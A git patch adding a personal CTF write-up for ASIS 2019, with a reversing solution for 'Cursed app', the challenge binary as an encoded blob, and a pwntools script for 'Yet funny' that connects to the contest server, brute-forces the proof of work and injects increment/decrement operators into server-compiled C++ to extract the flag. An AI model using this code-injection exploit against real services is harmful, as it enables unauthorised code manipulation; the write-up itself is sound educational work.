From 59536b5696572eb0d5c315089a61b4ffa5a001b2 Mon Sep 17 00:00:00 2001 From: Hannes Hauer Date: Mon, 18 Nov 2019 09:45:30 +0100 Subject: [PATCH] Add ASIS 2019 writeup --- writeups/hah/asis2019.md | 252 ++++++++++++++++++++ writeups/hah/asis2019/cursed_app.elf | Bin 0 -> 18320 bytes writeups/hah/asis2019/cursed_app_exploit.py | 87 +++++++ writeups/hah/asis2019/cursed_app_flag | 1 + writeups/hah/asis2019/yet_funny.py | 149 ++++++++++++ writeups/hah/asis2019/yet_funny_exploit.py | 66 +++++ 6 files changed, 555 insertions(+) create mode 100644 writeups/hah/asis2019.md create mode 100755 writeups/hah/asis2019/cursed_app.elf create mode 100755 writeups/hah/asis2019/cursed_app_exploit.py create mode 100755 writeups/hah/asis2019/cursed_app_flag create mode 100755 writeups/hah/asis2019/yet_funny.py create mode 100755 writeups/hah/asis2019/yet_funny_exploit.py diff --git a/writeups/hah/asis2019.md b/writeups/hah/asis2019.md new file mode 100644 index 0000000..78957e1 --- /dev/null +++ b/writeups/hah/asis2019.md @@ -0,0 +1,252 @@ +# Retrospective +Luckily I could spend two afternoons to work uninterruptedly on challenges during the Asis CTF. Even though I started with a bit of delay on saturday I quickly found a pwn challenge that was already available and still unsolved that looked interesting which I ultimately finished in the late afternoon. I didn't expect to get far on sunday due to less time but decided to take on a Reverse/Misc-challenge because the full python source code was available and it seemed easier to get into than some others, and I managed to finish it in time before the CTF ended as well. I had some cursory looks at other challenges as well but did not seriously attempt any of them. +All in all the challenges I solved weren't extremely complicated and I spent more time on them than was probably necessary figuring some things out; especially "Cursed app" was simpler when I analyzed it after having finished it than it seemed like during working on it, but both were interesting nonetheless and were fun to figure out. + +# Challenges +## Cursed app +``` +If we want to say 100, should we start at 1 and count until 100? + +sha256(flag) = dd791346264fc02ddcd2466b9e8b2b2bba8057d61fbbc824d25c7957c127250d +``` + +The "cursed app" was a ELF binary that analyzed the contents of a file passed as an argument; depending on whether it contained the correct file or not it printed a message to let the user know. +Looking at the binary in cutter revealed a lot of similar looking blocks that all ended in a conditional jump to the program section that printed the message indicating a wrong flag; the blocks iterated over an ever increasing variable that was probably the content read from the file, and in total 59 positions were handled suggesting that the flag was 59 characters long, of which the first 5 and the last one were known. Storing "ASIS{" in the file provided to the executable and stepping through indeed showed that the first five blocks in question passed successfully but the check in the sixth one jumped to the error message. Now knowing for sure that each code block analyzed a character by reading the byte value, doing calculations based on it and finally checking the results to decide whether to proceed or fail it was simply a matter of reversing the calculations to retrieve the correct characters one by one. +The calculations had a similar structure but seemed to vary a bit so I transferred the to python one after another in order to iterate over all printable characters and find the ones for which the calculations worked out; only after having retrieved the flag and cleaning up the script did I realize that not only could most parts be copy-pasted with some values exchanged, but they actually all had the exact same structure if fed with the appropriate values. For example some blocks were missing instructions that were present in most others, but they could simply be performed by the same function by providing parameters that simply neutralized those instructions, such as multiplying values by 1 to simply prevent any changes taking place. +The basic structure of the function was as follows: + +- Read character byte value into EAX, multiply it by some value and then add to it. +- Perform a CDQ instruction which sign-extends the value in EAX by copying the sign bit into every bit of the EDX register. Because we know that our bytes are all positive due to representing printable characters and only being multiplied by positive numbers this effectively serves as a way to zero out EDX. +- An IDIV instruction is performed which divides EAX by the provided argument and stores the result in EAX and, more importantly, the remainder in EDX. Because EDX wasn't explicitely mentioned in the assembly code this was a bit tricky to figure out when just translating the obvious calculation steps into python because they obviously didn't match and no characters for which they worked out could be found. +- The value of EDX is then copied to EAX and, multiplied by some value, into ESI. +- EAX and EDX are multiplied by some values. +- Values are added to EAX and ESI, this time not by ADD instructions but by way of LEAs. +- Finally there's another EAX IDIV followed by a TEST on EDX and a JNE conditional jump; effectively at this point EAX has to be a multiple of the divisor, thus writing a remainder of 0 into EDX which is the only way to avoid a jump to the error message, instead continuing into the next block loading and analyzing the following character. + +Most of the calculation steps were pretty straight forward, but some such as IDIV and CDQ had some side effects that weren't easily spotted in the disassembly and required some analysis. In some blocks certain instructions were changed, such as a multiplication being replace by a shift, which made them look more different than they actually were. The challenge description was probably a hint to that fact. +Transcribing the calculations to python this way allowed for bruteforcing the character in each position, with some being obvious due to the flag format. The following script is a heavily cleaned up version that defines the basic structure that is common to each calculation and provides the appropriate values visible in the disassembly to construct a function for each position into which characters can be passed to check whether they pass the test (returning the remainder of the final division): + +```python +#!/usr/bin/env python + +import string + +def calc(char, eax_m_1, eax_a_1, esi_m, edx_m_1, eax_m_2, eax_s_1, esi_s_1): + ecx = 0x100 + eax = ord(char) + eax *= eax_m_1 + eax += eax_a_1 + edx = eax % ecx + eax = edx + esi = edx * esi_m + eax *= edx + edx *= edx_m_1 + eax *= eax_m_2 + eax = eax + esi + eax_s_1 + esi = edx + esi_s_1 + edx = eax % esi + return edx + +calculations = [ + lambda char: 0 if c == "A" else 1, + lambda char: 0 if c == "S" else 1, + lambda char: 0 if c == "I" else 1, + lambda char: 0 if c == "S" else 1, + lambda char: 0 if c == "{" else 1, + lambda char: calc(char, 91, 2, 0x2f7, 0x30e, 5, 0x4b, 0x55), + lambda char: calc(char, 0x43, 0x76, 0xed, 0x106, 0x37d, 0x1f1, 0xdd), + lambda char: calc(char, 0xe7, 0x74, 0x287, 0xf5, 0x213, 0x3e5, 0x184), + lambda char: 0 if c == "_" else 1, + lambda char: calc(char, 0xcb, 0x88, 0x95, 0x78, 0x336, 0x3bd, 0x230), + lambda char: calc(char, 0x51, 0x96, 0x2b0, 0x144, 0x9d, 0x21a, 0x265), + lambda char: calc(char, 0x29, 0x8d, 0x2db, 0x15, 0x56, 0xcb, 0x203), + lambda char: calc(char, 0x73, 0x5f, 0x178, 0x116, 0x2df, 0x88, 0x262), # _ + lambda char: calc(char, 0xf3, 0xe4, 0xdd, 0xca, 0x31b, 0x37c, 0x33b), + lambda char: calc(char, 0x4f, 0x51, 0x345, 0x234, 0x66, 0x366, 0xf9), + lambda char: calc(char, 0x7b, 0x8e, 0x2b0, 5, 0x12e, 0x282, 0xd5), + lambda char: calc(char, 0xa9, 0x59, 0x272, 0x96, 0xe, 0x2a8, 0x1c8), #_ + lambda char: calc(char, 0xad, 0xe6, 0x214, 0x19f, 0x33e, 0x12e, 0x1f1), + lambda char: calc(char, 0xab, 0x9a, 0x72, 2**5, 0x10f, 0xe2, 0x292), + lambda char: calc(char, 0x4b, 0xb8, 0x35a, 0x37d, 0x366, 0x39, 0x1a8), + lambda char: calc(char, 0xf5, 0x5b, 0x2f3, 0x6a, 0x375, 0x9d, 0x3d7), + lambda char: 0 if c == "_" else 1, + lambda char: calc(char, 0x3d, 0x69, 0x3c0, 0x3e, 0x3cb, 0x214, 0x390), + lambda char: calc(char, 0x9f, 0x2c, 0x1d8, 0x29, 0x215, 0x7a, 0x32), + lambda char: calc(char, 0x77, 0xef, 0x21f, 0x38, 0xa7, 0x308, 0x290), #_ + lambda char: calc(char, 0xb3, 0x70, 0x3ce, 0x87, 0xf8, 0x19e, 0x52), + lambda char: calc(char, 0x47, 0xae, 0x1cf, 0xa, 0x2f3, 0x115, 0x113), + lambda char: calc(char, 0xbf, 0x90, 0x2a6, 0x37, 0xe3, 0x234, 0x27a), + lambda char: calc(char, 0x51, 0x9b, 0x210, 0x173, 0x379, 0x330, 0x2ea), + lambda char: calc(char, 0x57, 0xc8, 0x2e0, 0x2e6, 0x14d, 0x25, 0xd), + lambda char: calc(char, 0xa7, 0xa0, 0xc8, 0x382, 0x27c, 0xd5, 0x265), + lambda char: 0 if c == "_" else 1, + lambda char: calc(char, 0x71, 0xd9, 0x34b, 0x14d, 0x8a, 0xfc, 0x244), + lambda char: calc(char, 0xaf, 9, 0x164, 0x69, 0x1ae, 0x2cb, 0x1fc), + lambda char: calc(char, 0xdb, 0xa6, 0x2ca, 2, 0xac, 0x32c, 0x124), + lambda char: calc(char, 0xb3, 0x39, 0x3be, 0x1f1, 0x358, 0x2b9, 0x3be), + lambda char: 0 if c == "_" else 1, + lambda char: calc(char, 0x3d, 0xf0, 0x3b9, 0x78, 0x141, 0x1ec, 0x199), + lambda char: calc(char, 0x29, 0x76, 0x10c, 0x4a, 0x7b, 0x3c4, 0x14e), + lambda char: calc(char, 0x2d, 0x96, 0x210, 0xd, 0x264, 0x16c, 0x27d), + lambda char: 0 if c == "_" else 1, + lambda char: calc(char, 0x3f, 0xa0, 0x15a, 0xf0, 0x388, 0x34d, 0x3d), + lambda char: calc(char, 0xd3, 0x72, 0x22a, 0x93, 0x22f, 0x299, 0x379), + lambda char: calc(char, 0x79, 2, 0x3df, 0x82, 0x2cf, 0x32b, 0x195), + lambda char: calc(char, 0x75, 0xe6, 0x134, 0x27, 0x21d, 0x12c, 0x29), + lambda char: calc(char, 0x51, 0x52, 0x253, 0x23, 0x234, 0x229, 0x205), + lambda char: 0 if c == "_" else 1, + lambda char: calc(char, 0xed, 0xa5, 0x306, 0x24, 0x203, 0x14b, 0x28c), + lambda char: calc(char, 0x81, 0x7f, 0x1a4, 0xb, 0x362, 0x14, 0x15a), + lambda char: calc(char, 0x19, 0xeb, 0x67, 0x211, 0xb8, 0x140, 0x17e), + lambda char: calc(char, 0x9b, 0x3a, 0x33c, 0x46, 0x357, 0xa0, 0x10e), + lambda char: calc(char, 0x55, 0xf0, 0x234, 0xa, 0x3b7, 0xd5, 0x207), + lambda char: calc(char, 0x49, 0x3d, 0x79, 0x7, 0x282, 0x362, 0x142), + lambda char: calc(char, 0x81, 0x56, 0x326, 0x17, 0x3d, 0x181, 0x14f), + lambda char: calc(char, 0x9b, 0xb1, 0xc4, 0x65, 0x18f, 0x24, 0xda), + lambda char: calc(char, 0x99, 0x7e, 0x116, 0x3c, 0x360, 0x2aa, 0x142), + lambda char: calc(char, 0xe3, 0xf5, 0x152, 0x51, 0x123, 0x1f8, 0x2bc), + lambda char: calc(char, 0xc3, 0x16, 0x3ca, 0x148, 0x300, 0x13, 0x1e1) +] + +possible_chars = string.printable + +for i in range(len(calculations)): + for c in possible_chars: + if calculations[i](c) == 0: + print("Found character for index {}: {}".format(i, c)) +``` + +## Yet funny +``` +Sometimes you come up with something incredibly stupid yet funny. +Don`t ignore it! + +nc 76.74.177.238 7777 +``` + +This challenge was a python script running on a remote server that consisted of two parts: A proof of work as well as the possibility to modifiy C++-code in a limited way that then was compiled and executed on the server; only if it exited with status 0 the flag was read and printed. + +## Proof of work +The proof of work generated a random string of a random length between 10 and 40, hashed it with one randomly selected function out of five and printed the final 6 characters; the task was to find and enter the correct random string. +This was easily solvable by parsing the provided information and bruteforcing strings of the appropriate lengths and hash functions. The actual work that had to be proven wasn't massive bcause the strings mainly consisted of zeroes and only a couple of relevant characters at the end; this was pretty straight forward and mainly a speedbump. + +## Randomized C++-program +After clearing the proof of work the second part of the program could be accessed: Here a simple C++-function was filled with four randomly generated integers and could be displayed. To get to the flag two of thos values had to be replaced by user input, and only if they then matched a simple formula the information would be displayed. + +```c++ +#include +int main(){ + int c = 0, d = 0; + c = first_number, d = second_number; + int a = first_random, b = second_random; + if((a*c + b*d) == 1) + return 0; + return -1; +} +``` + +```first_random` and ```second_random``` were immutable random numbers while ```first_number``` and ```second_number``` would be replaced by user input. However this user input was filtered: Besides making sure that only printable characters were present, there was an additional function that was executed on each input: + +```python +def aux(inp): + pm = set(inp) + try: + vux = inp.replace(list(pm)[0] * 2, chr(0)).replace(list(pm)[1] * 2, chr(1)) + if set(vux) == set([chr(0), chr(1)]) and len(inp) <1<<10: + return True and len(inp) > 4 + except: + pass + return False +``` + +This had me stumbling around for a bit: At first I thought the first two characters of each input had to be 0 and 1, but at some point I realized that the conversions to and from sets indeed had a point: They reduced the input to the unique values present, and by replacing the first two and then comparing the sets this effectively ensured that only two different characters were present; the multiplication of course didn't alter those characters but ensured that only pairs would be replaced, further limiting the input to strings of at least 4 characters, consisting only of pairs of two unique characters. +Having cleared that hurdle it was time to think about possible inputs. The first obvious idea was to insert two slashes to comment out parts of the code to alter the variables and thus the calculations, but there was no way to get legal C++-code this way and get the compilation pass. However the compiler errors were helpfully printed out and pointed out a peculiarity in the way the user input was used to subsitute program parts that was present in the available python code: + +```python + tmp_code = code + tmp_code = str(tmp_code).replace("first_random", str(first_rand)) + tmp_code = str(tmp_code).replace("second_random", str(second_rand)) + tmp_code = str(tmp_code).replace("first_number", str(first_var) + "c+" + str(first_number)) + tmp_code = str(tmp_code).replace("second_number", str(second_var) + "d+" + str(second_number)) +``` + +Instead of replacing the placeholder text in the source code the script actually inserted the user input followed by the variable name and another addition, resulting in a line like: + +```c++ +c = c+, d = d+; +``` + +Considering the input could only consist of pairs of the same character there was no way to end the statement early by inserting a semicolon or commenting parts of it out, but there are pairs of characters that could immediately preceed variables and result in legal code: Pre-increments and pre-decrements. +While I at first only tested with up to six characters because thats what I had used to analyze the ```aux```-function I at some point realized that it also explicitely checked the input length and not only limited it to being at least 6 characters but also added an upper bound of 1024. Because two different characters were required to be present, resulting in an increment and a decrement that cancelled each other out, this left 509 operations that could be performed on either variable which opened up a huge range of values that could possibly be used in the program. +With this information it was again down to bruteforcing the values by iterating over them until a combination was found that satisfied the formula, then generating and submitting the appropriate string. + +The following steps combine both tasks and exploit the remote server fully automatted retrieving the flag: + +```python +#!/usr/bin/env python + +from pwn import * +import string +from parse import * +from hashlib import * +from itertools import chain, product + +prompt1_template = "Please submit a printable string X, such that {}(X)[-6:] = {} and len(X) = {}" +vars_cd_template = " c = {}, d = {};" +vars_ab_template = " int a = {}, b = {};" +HASH = {"md5": md5, "sha1": sha1, "sha224": sha224, "sha256": sha256, "sha384": sha384, "sha512": sha512} + +def pow(algo, hash, len): + candidates = product(string.printable, repeat=int(len)) + for candidate in candidates: + if HASH[algo](''.join(candidate)).hexdigest()[-6:] == hash: + return ''.join(candidate) + +def find_solution_strings(a, b, c, d): + solution_string = "++--" + for c_diff in range(-509, 509): + for d_diff in range(-509, 509): + if a*(c + c_diff) + b*(d + d_diff) == 1: + print("Solution found!") + solution_string_c = abs(c_diff)*"--" if c_diff < 0 else c_diff*"++" + solution_string_d = abs(d_diff)*"--" if d_diff < 0 else d_diff*"++" + return solution_string + solution_string_c, solution_string + solution_string_d + +def exploit(): + r = remote("76.74.177.238", "7777") + + print("##### Step 1: Proof of work #####") + prompt1_request = r.recvline() + prompt1_data = parse(prompt1_template, prompt1_request) + print("Attempting PoW: {}(X) = {}, len(X) = {}".format(prompt1_data[0], prompt1_data[1], prompt1_data[2])) + correct_X = pow(prompt1_data[0], prompt1_data[1], prompt1_data[2]) + print("Found PoW: {}".format(correct_X)) + r.sendline(correct_X) + + print("##### Step 2: Find equation solution #####") + r.recvline_endswith("[Q]uit!") + r.sendline("g") + r.recvline_endswith("d = 0;") + vars_cd_line = r.recvline() + vars_ab_line = r.recvline() + vars_cd_data = parse(vars_cd_template, vars_cd_line) + vars_ab_data = parse(vars_ab_template, vars_ab_line) + a = int(vars_ab_data[0]) + b = int(vars_ab_data[1]) + c = int(vars_cd_data[0]) + d = int(vars_cd_data[1]) + print("Challenge: a = {}, b = {}, c = {}, d = {}".format(a, b, c, d)) + solution_c, solution_d = find_solution_strings(a, b, c, d) + r.recvline_endswith("[Q]uit!") + r.sendline("t") + r.recvline_endswith("first variable:") + r.sendline(solution_c) + r.recvline_endswith("second variable:") + r.sendline(solution_d) + flag_line = r.recvline() + r.close() + print(flag_line) + +if __name__ == "__main__": + exploit() +``` \ No newline at end of file diff --git a/writeups/hah/asis2019/cursed_app.elf b/writeups/hah/asis2019/cursed_app.elf new file mode 100755 index 0000000000000000000000000000000000000000..0da122c4500a2d42437d8c65970e4dd452d310cb GIT binary patch literal 18320 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